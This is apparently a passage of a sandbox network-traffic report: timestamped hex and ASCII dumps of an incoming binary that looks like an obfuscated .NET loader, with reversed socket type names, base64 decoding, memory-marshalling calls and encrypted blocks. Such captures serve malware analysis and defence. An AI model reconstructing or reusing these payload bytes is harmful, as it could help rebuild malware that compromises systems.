!"#$%&8'<()*+Civ3D/Tx/@5DQgx(7DKT\|
2021-12-28 04:19:03 UTC	105	IN	Data Raw: 31 36 63 51 4c 69 67 47 79 38 30 42 33 00 6c 52 65 38 59 4f 31 54 6e 49 54 74 58 69 56 58 6b 41 47 00 45 70 58 38 4d 31 31 65 41 70 74 68 5a 36 38 37 58 6a 6a 00 63 4b 4e 61 79 37 31 58 61 38 76 6c 6a 65 36 65 68 59 70 00 61 61 30 39 62 45 31 63 52 62 72 69 50 66 45 67 4e 6c 4d 00 63 35 37 64 79 57 31 4b 77 35 32 4e 56 67 53 4e 63 56 4e 00 43 59 6f 50 39 54 31 73 37 74 6c 51 6f 58 67 58 39 57 49 00 73 65 71 32 63 52 31 70 76 64 4a 54 33 4c 65 77 75 49 4e 00 6c 6b 52 50 34 46 31 71 63 78 75 75 68 72 41 4f 4a 6c 4f 00 54 35 53 32 47 6a 31 78 45 34 55 49 36 53 33 6b 77 56 6f 00 59 46 68 71 52 75 31 79 54 30 41 58 77 6c 58 39 45 75 67 00 77 6a 76 6b 4c 5a 31 47 45 4d 54 62 65 67 79 33 6c 57 38 00 74 6b 38 75 4b 66 31 42 61 74 69 35 4e 45 4c 49 6d 78 78 00 4f Data Ascii: 16cQLigGy80B3lRe8YO1TnITtXiVXkAGEpX8M11eApthZ687XjjcKNay71Xa8vlje6ehYpaa09bE1cRbriPfEgNlMc57dyW1Kw52NVgSNcVNCYoP9T1s7tlQoXgX9WIseq2cR1pvdJT3LewuINlkRP4F1qcxuuhrAOJlOT5S2Gj1xE4UI6S3kwVoYFhqRu1yT0AXwlX9EugwjvkLZ1GEMTbegy3lW8tk8uKf1Bati5NELImxxO
2021-12-28 04:19:03 UTC	110	IN	Data Raw: 72 72 6f 43 65 67 6e 61 68 63 78 45 74 78 65 74 6e 6f 43 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 31 30 35 33 35 00 41 63 74 69 6f 6e 00 61 63 74 69 6f 6e 00 67 65 74 5f 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 73 65 74 5f 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 46 78 36 67 35 68 44 54 39 64 73 64 76 49 71 4d 4f 48 33 00 46 33 49 32 34 52 44 76 31 30 4d 4c 31 43 73 44 65 35 46 00 63 76 44 6a 48 6d 44 34 76 45 68 52 56 52 48 41 4e 42 36 00 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 5f 62 6f 64 79 00 63 62 Data Ascii: rroCegnahcxEtxetnoCslennahCledoMecivreSmetsyS10535Actionactionget_etageleDxEtpeccAstekcoSteNmetsyS61089set_etageleDxEtpeccAstekcoSteNmetsyS61089Fx6g5hDT9dsdvIqMOH3F3I24RDv10ML1CsDe5FcvDjHmD4vEhRVRHANB6etageleDxEtpeccAstekcoSteNmetsyS61089_bodycb
2021-12-28 04:19:03 UTC	114	IN	Data Raw: 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 4e 76 51 33 34 75 5a 74 38 39 35 6e 78 45 68 69 32 46 49 72 00 67 65 74 5f 53 69 7a 65 00 4d 61 72 73 68 61 6c 00 52 65 61 64 49 6e 74 33 32 00 52 65 61 64 49 6e 74 36 34 00 41 6c 6c 6f 63 43 6f 54 61 73 6b 4d 65 6d 00 57 72 69 74 65 49 6e 74 50 74 72 00 57 72 69 74 65 49 6e 74 33 32 00 53 6d 65 5a 77 54 4b 4f 72 00 47 37 70 75 73 6f 41 41 4f 00 57 4e 6e 37 56 74 79 75 49 00 47 65 74 4d 65 74 68 6f 64 00 75 57 64 4f 6c 46 61 41 62 00 56 65 72 73 69 6f 6e 00 50 72 6f 63 65 73 73 4d 6f 64 75 6c 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 50 72 6f 63 65 73 73 00 49 45 6e 75 6d 65 72 61 74 6f 72 00 54 6f 49 6e 74 36 34 00 54 6f 49 6e 74 33 32 00 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 00 47 65 74 46 69 65 6c 64 00 Data Ascii: FromBase64StringNvQ34uZt895nxEhi2FIrget_SizeMarshalReadInt32ReadInt64AllocCoTaskMemWriteIntPtrWriteInt32SmeZwTKOrG7pusoAAOWNn7VtyuIGetMethoduWdOlFaAbVersionProcessModuleIDisposableProcessIEnumeratorToInt64ToInt32ModuleHandleGetField
2021-12-28 04:19:03 UTC	118	IN	Data Raw: 65 76 75 38 4b 6b 6a 00 44 42 71 4b 75 73 48 75 66 4d 4b 65 41 73 71 43 44 56 00 77 56 46 4d 66 65 32 52 51 78 52 73 6c 5a 33 71 77 4d 00 57 52 4d 66 66 53 4c 4d 63 6d 4b 54 59 6c 5a 6e 50 65 00 63 69 52 49 52 33 45 37 67 4a 00 49 73 4c 69 74 74 6c 65 45 6e 64 69 61 6e 00 64 67 52 49 4e 50 77 6d 4d 71 00 6f 35 49 49 72 75 51 42 73 37 00 50 66 50 49 62 75 54 68 64 6c 00 4d 66 6e 49 50 52 4a 6b 31 59 00 62 50 41 49 44 66 6b 66 75 37 00 77 30 79 49 34 6e 51 6f 65 70 00 54 62 47 49 4d 70 55 75 35 58 00 6a 68 4a 49 36 33 54 30 74 4e 00 46 53 75 49 54 66 64 46 63 72 00 78 44 51 39 30 70 62 31 4b 55 63 67 6d 38 69 6f 42 6d 67 00 72 49 6d 49 68 45 74 4c 50 6a 00 55 6c 73 49 69 32 64 32 71 44 00 53 65 55 49 35 52 4f 51 34 55 00 76 65 47 49 41 77 54 51 54 73 00 53 Data Ascii: evu8KkjDBqKusHufMKeAsqCDVwVFMfe2RQxRslZ3qwMWRMffSLMcmKTYlZnPeciRIR3E7gJIsLittleEndiandgRINPwmMqo5IIruQBs7PfPIbuThdlMfnIPRJk1YbPAIDfkfu7w0yI4nQoepTbGIMpUu5XjhJI63T0tNFSuITfdFcrxDQ90pb1KUcgm8ioBmgrImIhEtLPjUlsIi2d2qDSeUI5ROQ4UveGIAwTQTsS
2021-12-28 04:19:03 UTC	122	IN	Data Raw: 53 34 42 6a 67 43 79 71 51 49 00 54 59 71 69 66 63 79 6c 77 6d 36 50 4f 65 51 4d 53 69 71 00 66 30 75 51 33 55 79 7a 58 74 55 64 35 76 33 47 75 4a 71 00 6a 32 62 69 65 56 6f 6e 6c 44 00 63 6d 46 69 58 48 61 6f 62 39 00 6b 51 43 63 79 6b 74 78 4b 45 35 71 4c 4f 4a 57 71 65 48 00 54 69 54 43 73 38 74 72 70 65 5a 59 54 5a 36 5a 36 79 51 00 62 44 6a 39 62 46 74 67 37 4d 4e 56 66 74 39 50 4d 43 4a 00 54 75 31 69 73 45 33 72 4c 43 00 4a 75 57 69 71 39 43 33 46 66 00 72 58 41 32 41 54 74 4e 54 6e 74 4b 67 6e 50 6d 67 6d 66 00 45 71 75 61 6c 73 00 47 65 74 48 61 73 68 43 6f 64 65 00 45 6e 75 6d 65 72 61 74 6f 72 00 6a 46 32 69 63 75 49 6f 61 6a 00 70 31 55 69 4b 36 43 34 31 4a 00 69 51 6e 4f 33 56 74 62 6c 67 53 6b 65 55 61 57 59 64 70 00 76 77 61 78 46 32 74 44 Data Ascii: S4BjgCyqQITYqifcylwm6POeQMSiqf0uQ3UyzXtUd5v3GuJqj2bieVonlDcmFiXHaob9kQCcyktxKE5qLOJWqeHTiTCs8trpeZYTZ6Z6yQbDj9bFtg7MNVft9PMCJTu1isE3rLCJuWiq9C3FfrXA2ATtNTntKgnPmgmfEqualsGetHashCodeEnumeratorjF2icuIoajp1UiK6C41JiQnO3VtblgSkeUaWYdpvwaxF2tD
2021-12-28 04:19:03 UTC	126	IN	Data Raw: 5f 30 66 38 35 33 63 39 61 66 34 65 35 34 61 30 64 39 35 36 63 36 66 63 30 62 63 38 63 39 32 37 38 00 6d 5f 65 35 61 37 63 31 63 39 37 31 30 34 34 31 65 35 38 61 65 37 39 65 39 62 39 66 33 36 39 61 30 63 00 6d 5f 65 63 65 36 35 61 65 32 31 35 61 37 34 61 30 30 39 61 33 39 65 37 31 61 65 33 34 31 63 61 35 62 00 6d 5f 36 62 30 66 62 65 37 38 32 66 63 38 34 34 32 62 61 39 39 32 37 35 61 38 33 38 65 30 33 38 30 66 00 6d 5f 39 34 37 38 30 37 37 38 66 33 34 30 34 38 30 62 61 37 36 39 36 35 37 37 37 30 30 35 66 62 31 37 00 6d 5f 33 62 30 64 65 64 65 64 30 37 36 34 34 64 30 62 62 32 38 37 61 39 37 36 36 31 61 35 64 66 33 66 00 6d 5f 61 31 33 37 63 32 62 30 35 33 62 62 34 62 66 66 39 62 30 33 34 37 36 61 63 36 36 34 65 63 37 35 00 6d 5f 37 61 36 37 38 33 30 33 62 Data Ascii: _0f853c9af4e54a0d956c6fc0bc8c9278m_e5a7c1c9710441e58ae79e9b9f369a0cm_ece65ae215a74a009a39e71ae341ca5bm_6b0fbe782fc8442ba99275a838e0380fm_94780778f340480ba76965777005fb17m_3b0deded07644d0bb287a97661a5df3fm_a137c2b053bb4bff9b03476ac664ec75m_7a678303b
2021-12-28 04:19:03 UTC	129	IN	Data Raw: 58 37 50 72 4d 68 46 69 55 6c 00 42 57 62 72 4f 52 34 59 50 53 00 52 47 5a 72 36 4b 4c 76 49 4e 00 63 67 6b 72 70 48 44 30 50 62 00 48 6e 43 72 52 34 64 65 71 50 00 41 68 6e 72 37 70 46 58 56 6e 00 56 59 70 72 30 56 49 63 30 45 00 45 74 75 72 61 77 62 45 67 57 00 6d 47 34 72 59 4b 54 4c 5a 4d 00 44 5a 51 72 76 31 56 39 38 50 00 4f 6a 6e 72 6b 63 54 6b 35 52 00 4a 44 74 72 47 44 6a 4e 72 72 00 59 6b 67 72 46 46 63 41 74 38 00 4f 42 79 72 58 43 4e 51 6d 6e 00 64 62 59 72 42 64 44 4b 38 32 00 58 6e 53 72 51 58 4c 37 62 50 00 59 74 5a 72 45 74 50 56 62 64 00 4e 69 77 72 50 6d 67 33 47 69 00 61 4f 31 72 6f 74 4c 62 4c 77 00 55 71 42 72 6a 66 4a 63 64 31 00 76 6a 4a 72 39 6a 61 49 50 70 00 4c 37 48 72 6c 33 68 55 61 68 00 62 50 37 67 72 34 59 36 49 72 00 44 6a Data Ascii: X7PrMhFiUlBWbrOR4YPSRGZr6KLvINcgkrpHD0PbHnCrR4deqPAhnr7pFXVnVYpr0VIc0EEturawbEgWmG4rYKTLZMDZQrv1V98POjnrkcTk5RJDtrGDjNrrYkgrFFcAt8OByrXCNQmndbYrBdDK82XnSrQXL7bPYtZrEtPVbdNiwrPmg3GiaO1rotLbLwUqBrjfJcd1vjJr9jaIPpL7Hrl3hUahbP7gr4Y6IrDj
2021-12-28 04:19:03 UTC	133	IN	Data Raw: 00 4a 00 62 00 50 00 77 00 3d 00 3d 00 00 15 6a 00 75 00 52 00 56 00 68 00 6d 00 63 00 77 00 63 00 56 00 00 80 9d 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 72 00 65 00 2c 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 3d 00 33 00 2e 00 35 00 2e 00 30 00 2e 00 30 00 2c 00 20 00 43 00 75 00 6c 00 74 00 75 00 72 00 65 00 3d 00 6e 00 65 00 75 00 74 00 72 00 61 00 6c 00 2c 00 20 00 50 00 75 00 62 00 6c 00 69 00 63 00 4b 00 65 00 79 00 54 00 6f 00 6b 00 65 00 6e 00 3d 00 62 00 37 00 37 00 61 00 35 00 63 00 35 00 36 00 31 00 39 00 33 00 34 00 65 00 30 00 38 00 39 00 00 6b 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00 79 00 2e 00 41 Data Ascii: JbPw==juRVhmcwcVSystem.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089kSystem.Security.Cryptography.A
2021-12-28 04:19:03 UTC	137	IN	Data Raw: 1c 09 07 00 02 12 80 91 1c 02 07 00 02 12 80 91 0e 02 09 00 02 02 12 80 91 12 80 91 05 20 00 12 81 7d 05 20 00 12 81 59 05 00 02 02 1c 1c 05 20 00 12 81 85 04 00 01 08 1c 09 00 02 02 12 81 49 12 81 49 04 00 01 02 1c 05 00 02 1c 1c 1c 05 00 02 01 1c 0a 04 00 01 0a 1c 05 00 02 1c 1c 08 06 00 01 01 12 80 e9 06 00 03 01 1c 08 08 08 00 03 01 12 80 e9 08 08 06 20 00 1d 12 80 bd 06 00 01 18 12 80 bd 07 00 02 01 1c 11 81 89 06 20 01 01 11 81 89 06 00 03 1c 1c 1c 1c 09 20 02 12 80 a1 1d 05 1d 05 07 00 04 01 1c 1c 08 08 04 00 01 1c 08 05 00 01 1d 05 08 05 00 02 01 18 08 06 00 03 01 1c 1c 1c 04 00 01 08 0a 07 00 02 1c 18 12 80 91 04 00 01 0a 18 06 00 01 18 12 81 39 05 20 00 12 80 c5 09 00 02 02 12 80 c5 12 80 c5 07 00 02 1c 12 80 91 1c 06 00 01 11 81 5d 1c 05 20 00 Data Ascii: } Y II 9 ]
2021-12-28 04:19:03 UTC	142	IN	Data Raw: 0b 00 02 12 80 91 12 80 91 12 82 90 04 06 12 82 94 07 20 02 1c 12 80 91 08 0a 00 03 1c 12 80 91 08 12 82 94 04 06 12 82 98 07 20 02 1c 12 80 91 09 0a 00 03 1c 12 80 91 09 12 82 98 04 06 12 82 9c 07 20 02 1c 12 80 91 06 0a 00 03 1c 12 80 91 06 12 82 9c 04 06 12 82 a0 07 20 02 1c 12 80 91 07 0a 00 03 1c 12 80 91 07 12 82 a0 04 06 12 82 a4 07 20 02 1c 12 80 91 05 0a 00 03 1c 12 80 91 05 12 82 a4 04 06 12 82 a8 07 20 02 1c 12 80 91 04 0a 00 03 1c 12 80 91 04 12 82 a8 04 06 12 82 ac 07 20 02 1c 12 80 91 0a 0a 00 03 1c 12 80 91 0a 12 82 ac 04 06 12 82 b0 07 20 02 1c 12 80 91 0b 0a 00 03 1c 12 80 91 0b 12 82 b0 04 06 12 82 b4 06 00 01 08 12 82 b4 04 06 12 82 b8 05 20 01 0e 10 08 08 00 02 0e 10 08 12 82 b8 04 06 12 82 bc 05 20 01 0e 10 09 08 00 02 0e 10 09 12 82 Data Ascii:
2021-12-28 04:19:03 UTC	146	IN	Data Raw: 93 92 7a fd 47 87 30 1b 7e b1 7e 33 84 a7 45 f9 39 39 48 fa 9e b3 e8 c6 e8 2c 66 84 ff d8 c4 7d c2 c9 04 5a 60 79 e5 4b 9e 2d 67 ee 5d 21 f1 8e b4 f5 02 e1 20 9d 72 fb d4 77 b7 a7 35 24 f4 01 aa de 1c 9c d5 4a d6 bd 8f f5 c2 29 68 08 1f 93 24 61 fe 88 0c a3 2a 77 d5 aa 00 a6 05 75 52 c1 4c b7 4c 4d ff c5 8e ac 8a 2f 4b 73 8e 73 fe 07 ea 52 e4 bf 59 6f 5a 92 a9 d7 b5 63 cd 89 e7 59 77 d8 6c 68 7d 77 c3 52 c2 02 de 24 bc 35 35 80 cf a4 e1 c3 ff 20 ff fb a8 b0 85 47 e4 60 0b 43 9d 8d bd 76 a3 43 68 9e ae 57 92 f7 ad b9 e2 14 70 17 aa 5b ae 00 97 25 db 22 b2 fd 06 08 6c b8 57 04 15 88 53 df 23 77 cb ad e3 a2 12 8c c0 ba fd a6 90 0e cb 32 67 c7 6c 44 41 a0 a2 26 32 0a 44 94 27 7a 48 2a 7c eb 0a 04 93 89 25 22 94 d5 2b 2b 66 e6 f7 79 54 c1 7a 95 96 81 06 5b ac Data Ascii: zG0~~3E99H,f}Z`yK-g]! rw5$J)h$awuRLLM/KssRYoZcYwlh}wR$55 G`CvChWp[%"lWS#w2glDA&2D'zH\|%"++fyTz[
2021-12-28 04:19:03 UTC	150	IN	Data Raw: 1f 1f c8 7a 1d 29 07 9a 40 2c a6 5b 8b 3b 38 7f 42 a3 a8 8d e6 1a 5a b1 6e e2 41 da 2c 24 ac 0f bf ac 0b cf 68 f9 88 52 76 2c 56 8c 97 47 f2 bd 6d 69 42 a1 e5 55 9e c4 79 58 21 69 55 3c d5 57 10 ad 43 f1 08 37 60 6c 07 e3 05 0e 8d 12 3a 6f b1 6a 99 a2 ed d3 00 a2 ba a9 65 89 77 c5 eb 35 26 9e 3a 01 00 92 c8 fb db ec c8 26 85 c4 26 21 b3 c9 c9 8c fb 2e 05 f6 77 42 3a 86 60 4c c2 97 7c 63 15 3d 05 16 1c ea f7 51 d3 f7 66 f7 70 20 17 98 e3 62 76 98 48 05 c7 b2 76 ef 39 69 2b bb 59 52 41 db d1 34 df 3d 2e 17 4b 01 c2 de ca 41 7f 40 3e 2c 91 23 2e c0 a2 42 52 10 c1 00 86 17 81 f5 e6 71 25 b5 30 03 f1 0d a8 ed 51 87 1b 4a a5 cc 52 de 74 9a 34 8a d7 79 bd 3d 88 b3 d6 ac 8e f6 6a 52 07 1b 02 97 ec bb c5 80 49 ba 54 c1 08 2b 63 61 b8 4e d1 36 a6 c1 d5 88 be 61 25 Data Ascii: z)@,[;8BZnA,$hRv,VGmiBUyX!iU<WC7`l:ojew5&:&&!.wB:`L\|c=Qfp bvHv9i+YRA4=.KA@>,#.BRq%0QJRt4y=jRIT+caN6a%
2021-12-28 04:19:03 UTC	154	IN	Data Raw: ae c7 ac 65 7b 71 3e df c7 01 71 5b f3 e0 04 95 b6 6b 11 38 2e 80 cc 26 18 1e 9f 35 bf e5 4b 46 21 45 49 c1 34 58 c4 0d 0e b3 7f 50 b8 fa ad aa 3b 41 9b c8 b3 c2 a2 ac 02 e0 16 ea 88 0e 69 71 1f 32 15 b5 66 e1 c4 52 c3 40 9b b9 11 69 ec 90 e5 79 6c 7e 15 13 61 b3 cd 22 9d a4 28 4f 5d 77 2e a5 3a db ef 70 57 4e 32 34 ab 33 6a 98 45 8b c7 e2 69 91 65 f0 0c 56 ca 40 e3 1b b3 f5 eb 9a 9a 8a 6e 1f b9 d6 cc f1 98 3c 5d c9 06 67 9c 9e d7 ef 3e 48 9f da ce 61 3b df 30 21 4e 46 25 3e b7 3d 19 ab 5b 72 39 f4 55 04 7e 41 19 bf 0c 6d a7 49 a3 b6 27 28 f2 f1 a2 27 f5 92 e9 df 4e 7a 63 5d d1 74 fd e7 e0 28 8a 91 5a 05 9f f1 e3 7d 9d 64 09 4f c8 1c a9 be 3b 9b a1 9a 0b d3 aa bf e2 e8 71 1b 82 ed f1 6e 65 ad 6a c2 56 c0 71 ec fa 1b 85 04 ee 8d f9 bc 4a 96 86 1a b7 c8 9b Data Ascii: e{q>q[k8.&5KF!EI4XP;Aiq2fR@iyl~a"(O]w.:pWN243jEieV@n<]g>Ha;0!NF%>=[r9U~AmI'('Nzc]t(Z}dO;qnejVqJ
2021-12-28 04:19:03 UTC	158	IN	Data Raw: 53 0c 73 75 8c 48 eb 1b af ae e2 de 28 53 ca fd ca 03 5b 25 21 23 6f 48 8e 1b 84 fb 76 68 37 cc cb da 10 eb b8 44 f8 3e ff 9f 15 36 4e 32 7d 90 d1 74 60 14 df 6a 7d ce c9 fb ab 8c a2 03 c4 9a 7d 3e 9f bd 18 8d 1d b8 7d da 5b 16 b5 1c 78 38 3a 0e 33 35 7c df 86 38 19 f8 f7 d2 8b 81 4b 35 e0 2d 2c 80 5b 04 e1 80 46 63 07 08 46 16 73 5e 6f 93 90 b6 65 b6 58 01 bd ec f4 49 0f e8 22 65 36 32 54 c1 99 f8 f4 70 a0 88 30 83 84 8a d3 50 20 80 8a a7 6d 0f 73 6b a3 49 27 e4 2b 14 b3 3f 40 20 9a fb 06 cd 4b 47 a6 c0 99 08 1f a0 f7 c9 ba f1 30 02 7a 8d 89 2c 0f a7 3f 74 e1 b3 e8 6b 7d be 50 ca 9e 0e e6 de df 94 4a 4c b9 d1 87 41 aa 71 2d 88 b1 d4 99 44 c1 fb c8 9b e4 2f b5 43 7a 9d 77 18 b4 de 41 e1 64 92 f6 cd e9 fa b3 eb 6a 95 54 c3 b8 9d 03 27 31 e4 4c cb 92 e2 0e Data Ascii: SsuH(S[%!#oHvh7D>6N2}t`j}}>}[x8:35\|8K5-,[FcFs^oeXI"e62Tp0P mskI'+?@ KG0z,?tk}PJLAq-D/CzwAdjT'1L
2021-12-28 04:19:03 UTC	161	IN	Data Raw: 56 60 73 7c dd 1f 52 04 b1 4b 01 40 5e 9a 55 aa ff 85 99 af c6 94 61 dc 2a ce 36 af cb 6d c1 06 5c 9f 11 38 a7 ac 15 42 3b f7 7b 2a 8a c3 19 3d 67 50 07 d6 55 25 b1 8e 33 51 ea a3 65 6e ef cb c4 3a d2 d1 93 54 e8 4f 41 fe 12 7a cf 17 e5 b5 59 c5 76 5f 26 91 1c db df 28 ee e2 a0 33 c0 b5 f2 72 15 90 81 a0 df ff 44 39 fc df 31 24 4a e6 60 c4 0f 40 71 ba 89 09 6c 82 05 41 d3 99 05 97 54 85 46 80 df fb 5c 71 05 e8 0d db ab dd 98 e7 59 d9 0a b0 61 34 06 33 f9 df 99 42 e1 d4 cc 87 5d fa f8 01 4b aa db 1f b6 85 e1 57 f2 76 1c 47 d8 fc 44 9b 3b 66 8c dd 4c 9d c3 60 f5 2a 8e d0 79 61 0d 27 2c 77 45 44 c9 a6 5f 3f 7f d4 01 a0 1e e6 99 00 db b8 db b8 df a1 9a 6a cc 5d 3f 5c fc 13 68 82 12 b3 7f e7 dd 4a ef 24 c5 24 fe 38 86 36 37 99 95 30 e8 38 e2 ca 85 4b a6 fd cd Data Ascii: V`s\|RK@^Ua6m\8B;{=gPU%3Qen:TOAzYv_&(3rD91$J`@qlATF\qYa43B]KWvGD;fL`*ya',wED_?j]?\hJ$$86708K
2021-12-28 04:19:03 UTC	165	IN	Data Raw: 19 59 6c da 06 c6 16 0f 9b c2 af ce 33 7f 7b 78 e7 63 f8 3b 3e 60 b0 3f 2a 33 5a 67 4f 8f 4e 37 e6 cd b2 1e df 08 a6 b2 c0 59 f6 0d ba f9 ca 24 09 af 65 20 30 b8 a0 80 e8 fb 0d 97 53 67 7b 18 a9 f9 26 3e 3b d0 ab 5b 94 16 15 7b 06 1c 52 9e f3 20 f0 6f 84 1a 94 19 75 a1 f9 c4 8a eb 39 0c 5e 59 ac 8a 73 1b 9f 8d 89 cd 68 5d be 9c e1 b5 fa fa 73 9e 64 2e 73 77 78 ed 11 62 3f 24 f6 a7 e8 f3 5c 7f 6d 9f 0d 37 53 1a b9 e8 20 92 62 70 14 19 b0 08 e8 13 7b 63 25 a4 8e 19 70 8f 05 58 04 a7 f3 ef 26 05 26 ad 33 a7 15 f9 94 ae be 8f 81 bf 57 8d c5 6d cb fc 7c 8c 0e ab 26 af b0 5b 0c 64 94 1b e1 d1 be b0 d2 67 4a 65 f1 f3 03 d5 54 ee d3 76 25 e4 6f d4 1a bb c5 e2 5a f2 99 69 35 87 82 42 08 e2 48 8b 8a fe 8c 0f 56 6e e3 16 db 46 e6 1e d1 7a 2c 37 76 8a 2e a3 3e 17 46 Data Ascii: Yl3{xc;>`?*3ZgON7Y$e 0Sg{&>;[{R ou9^Ysh]sd.swxb?$\m7S bp{c%pX&&3Wm\|&[dgJeTv%oZi5BHVnFz,7v.>F
2021-12-28 04:19:03 UTC	169	IN	Data Raw: b6 60 01 c4 c0 a4 f8 c2 07 0d d2 e5 8d 86 c4 eb 7a 17 c8 62 a6 aa 55 86 e7 d9 4a 2e a7 fc fc 77 86 f0 6b cb 05 5c da 82 f2 69 4d bd eb 87 ea 8f 08 63 dc cd 7e 39 c8 ec 05 9b 71 32 1a fb 05 53 2e 96 9c e3 85 af ef e5 25 b3 a4 4f 34 0d 81 34 77 58 1c 19 36 85 45 aa 14 b4 81 af 74 7f ed 43 1e 93 80 ee df 18 01 fe 64 0f 01 f8 07 0a a8 48 13 6f f7 66 50 9e 3c a7 66 9a bb 7b b9 c6 b7 96 c2 b8 d1 8b 9a 78 f0 3b 40 4b 58 3e 15 4d e0 8d 58 e0 e3 90 af a2 f3 08 5c cc 13 34 d9 96 08 e6 fe 87 2c b7 e4 f7 89 b8 28 8b 30 37 92 c1 23 f4 41 6d 24 c0 11 ca 7f 44 54 94 9e 97 fb 15 4f df 42 d6 73 2b c0 f0 1d 45 4b 46 45 1d ae 25 7c f4 35 65 79 bf da 64 99 ff 90 62 99 77 6a 1f 50 7c cd e3 8e 4e 5e 65 67 94 d4 90 1a e5 4b 95 cd f3 b9 a2 2d e9 9a 4f 96 4d d7 e9 63 7e f8 ee 27 Data Ascii: `zbUJ.wk\iMc~9q2S.%O44wX6EtCdHofP<f{x;@KX>MX\4,(07#Am$DTOBs+EKFE%\|5eydbwjP\|N^egK-OMc~'
2021-12-28 04:19:03 UTC	174	IN	Data Raw: ca 38 46 96 03 ac dd c6 ba f0 6f f7 ac ca 80 1c d6 5d dd ea 75 68 cc ba a9 90 f9 19 2e 16 69 c8 84 4f 6d b0 5a 5d b1 7c f3 6f cb 89 a0 bc 36 74 9d ac a4 b7 c4 4f 2c a1 81 be 1e de d6 d5 40 22 73 e8 65 c8 92 f3 1b 6e f0 de 19 ad ec 7d ce 30 56 da 13 8c ac 25 9f 91 98 d2 63 15 ab d9 61 38 c5 f7 88 bb a8 04 11 f5 5b e1 da a8 6f 7d 88 a8 33 a7 ce ed f1 9c dd 63 e7 87 80 9b 34 ee 04 7e fd 50 d8 37 97 71 cc ba fe ec 00 d6 25 ac 70 e5 0b db 33 ab 61 88 d6 12 4b 7a bc 67 5f 52 5a 05 fb 7f b6 b0 4c d5 e6 58 50 13 47 67 36 8f 5d bd bb 74 45 1f 31 b3 10 f9 4a af 05 82 43 fd 63 2c 3c 7c 69 4e 6c 3b 5c 6c 9c 3b 97 53 b1 9f 1e 80 25 46 7f fb 49 f6 09 e5 65 4f 17 bc 11 2d d0 1e eb f3 0c 7f 78 bb ba e4 50 ba a8 f2 ae 45 e0 c5 3b 19 37 fa fc a4 42 d9 79 8b e7 1b 2d e6 6a Data Ascii: 8Fo]uh.iOmZ]\|o6tO,@"sen}0V%ca8[o}3c4~P7q%p3aKzg_RZLXPGg6]tE1JCc,<\|iNl;\l;S%FIeO-xPE;7By-j
2021-12-28 04:19:03 UTC	178	IN	Data Raw: 79 89 7e 68 a2 de 84 26 2c b7 e2 24 4f 1f 4b e1 b7 92 58 58 04 4e 77 86 0b 06 d6 1c e5 55 70 be 3d 18 bd 43 b0 6d 39 5d 4f c4 6e ad d7 bb 86 5e b1 e0 cf f5 f0 1f 21 6b e6 c3 6b 35 62 8a 0e d9 51 f8 e0 cd f3 56 a4 09 1d 93 32 2c 01 fb b9 03 35 f0 fb 32 e9 68 7d c6 83 69 e2 7c 85 b2 c0 d6 72 4a 48 cb b4 47 07 53 c7 b4 bc 71 43 db 48 e5 4c 15 c1 51 c1 4c 62 a8 e4 fd 61 89 e5 47 f6 5b 11 ab ba 28 e2 6a ff 93 a7 41 e7 0e 89 42 dd 8d 1e 2b 78 95 07 76 8b a2 2a 22 3e af d0 fc 35 74 8a b1 fe 0b 64 32 f4 12 5a 07 b5 a9 31 b1 cc 44 c4 0c 24 1c 23 10 41 90 5f a3 98 89 0f a3 3e 91 c4 15 9a 56 c1 bc 41 bd df 5f d3 40 09 b2 f1 5a 7d 3b 43 08 e9 73 56 bf c7 18 8d 6d 0a 7e 3a a7 0a 2e e8 10 3a 9c 42 ba d8 db e8 83 a3 85 9e 27 0b f5 9b 7b 8b 03 fa 2a 58 64 00 a9 67 e3 83 Data Ascii: y~h&,$OKXXNwUp=Cm9]On^!kk5bQV2,52h}i\|rJHGSqCHLQLbaG[(jAB+xv">5td2Z1D$#A_>VA_@Z};CsVm~:.:B'{Xdg
2021-12-28 04:19:03 UTC	182	IN	Data Raw: ae 1d b1 1a f2 45 22 cb ff 56 6d ce 93 45 0f 44 14 21 fb 29 c4 df 7b 0f fd 92 ae 42 46 7b 12 2a d5 95 7b d3 f9 7d bc eb b3 ae 36 1d 7b c1 6c 5f 69 a2 e4 4a dc 07 86 09 a9 55 73 df 84 09 fc ba a5 24 cd 73 75 4c 8d 86 ac ea 0b 47 7a b9 a6 e0 70 41 bd f5 c8 5b f6 3a 26 67 7d ed 5a 72 0b d0 fb 2e 65 ca 66 1e aa f0 71 d4 ab b9 21 ad 80 e2 06 da 22 02 23 54 41 8e 17 a4 01 96 05 18 59 a5 51 56 ca 46 81 8d f9 02 02 84 17 09 c4 67 7c f4 1a ae a3 a9 30 59 20 63 05 a9 a6 e0 36 cc d9 6c d2 22 2e 1b 22 a0 bb cb 0d 9d 95 cc 27 61 c7 31 ea ad e9 f7 8f fb 74 57 8c cb ca 86 47 21 3e cc fb 29 d6 2a bf db 29 0d 03 1a f7 3c cd 71 7e 7b 22 22 15 fa ae 2a 45 5e 36 25 62 48 f7 dd 4f 58 13 d0 c5 bd 48 af 13 dd bb b4 e8 8f 17 4b c8 94 b7 cf 7f 12 85 62 d0 0f 19 28 33 9e 02 24 ac Data Ascii: E"VmED!){BF{{}6{l_iJUs$suLGzpA[:&g}Zr.efq!"#TAYQVFg\|0Y c6l"."'a1tWG!>))<q~{""*E^6%bHOXHKb(3$
